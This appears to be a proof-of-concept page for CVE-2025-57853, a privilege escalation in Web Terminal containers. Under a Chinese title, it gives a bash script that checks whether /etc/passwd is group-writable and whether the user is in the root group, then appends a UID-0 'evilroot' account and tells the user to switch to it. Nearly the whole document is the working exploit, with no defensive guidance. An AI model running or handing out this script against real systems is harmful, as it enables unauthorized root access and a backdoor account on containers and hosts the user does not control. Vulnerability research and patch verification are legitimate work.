CVE-2025-57853 Web Terminal容器权限提升漏洞

#!/bin/bash # PoC for CVE-2025-57853 # Exploiting group-writable /etc/passwd to gain root privileges echo "[+] Checking /etc/passwd permissions..." LS_OUTPUT=$(ls -ld /etc/passwd) if [[ $LS_OUTPUT == *"-rw-rw-r--"* ]]; then echo "[+] /etc/passwd is group writable!" echo "[+] Checking current user groups..." if groups | grep -q "root"; then echo "[+] Current user is part of the 'root' group." # Create a backup of the original file (optional) cp /etc/passwd /tmp/passwd.bak # Add a new user with UID 0 (root) echo "[+] Adding 'evilroot' user with UID 0..." echo "evilroot:x:0:0::/root:/bin/bash" >> /etc/passwd echo "[+] Exploitation complete. Try 'su evilroot' or switch user." else echo "[-] Current user is not in the 'root' group. Exploit failed." fi else echo "[-] /etc/passwd is not group writable. System not vulnerable." fi